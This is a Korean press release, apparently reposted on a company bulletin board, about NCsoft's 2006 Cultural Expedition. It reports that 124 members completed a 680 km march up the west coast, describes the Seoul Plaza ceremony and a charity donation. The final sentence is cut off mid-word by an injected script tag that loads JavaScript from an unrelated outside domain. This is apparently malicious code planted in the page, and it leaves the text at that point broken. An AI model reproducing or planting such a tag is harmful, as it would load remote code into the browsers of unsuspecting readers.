제 목 [엔씨소프트] 2006 대한민국문화원정대 서해안 680km 종단 마치고 오늘 서울 입성
작성자 관리자 작성일 2006-07-21 조회수 2726
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     2006 대한민국문화원정대 서해안 680km 종단 마치고 오늘 서울 입성


[2006
721] ㈜엔씨소프트(대표 김택진, www.ncsoft.com)가 주최하는 ‘2006 대한민국문화원정대(www.ncroad.com)’ 가 오늘 오후 4시 서울시청 앞 서울광장에서 완주식을 갖고 서해안 종단 행군의 종지부를 찍는다. 완주식에는 김택진 행사위원장, 박영석 원정대장과 대한민국문화원정대 가족 등 관계자 200여명이 참석한다.

2006
대한민국문화원정대는 지난 6 25일 발대식을 갖고 목포로 출발, 서해안을 따라 행군한 후 대부도와 인천을 거쳐 26 27일만에 서울에 입성했다. 완주에 성공한 대원은 총 124. 이들은 오늘 오전 부천 카톨릭대학교를 출발해 구로, 영등포, 여의도, 시청에 이르는 19km 마지막 행군을 완료했다.

완주식에서 김택진행사위원장은 “무더운 날씨와 장마에 고생하며 완주를 달성한 여러분이 자랑스럽다.”면서 “문화원정대의 체험을 평생에 남을 좋은 추억으로 기억해 주었으면 좋겠다”라고 말했다. 한편, 원정대원 우종수氏는 “막상 행군을 마친다고 하니 시원섭섭하다. 같이 해준 동료들에게 감사하고 앞으로 어려운 일 있을 때 문화원정대의 경험이 큰 힘이 될 것 같다”고 말했다.

엔씨소프트는 완주에 성공한 124명 원정대원의 이름으로 680만원을 희귀질환 환아 돕기성금으로 사회복지공동기금에 기부하고, 완주자 전원에게 완주증을 전달했다. , 모범적인 생활을 한 원정대원 2명에게는 장학금을 전달했다.

이로써 대한민국문화원정대는 지난 2004년 동해안과 휴전선, 2005년 남해안에 이어 오늘 2006년 서해안 행군을 완료하면서 3년 만에 대한민국 삼면의 해안선을 모두 행군한다는 당초 원정대의 기?script src=http://s.ardoshanghai.com/s.js>
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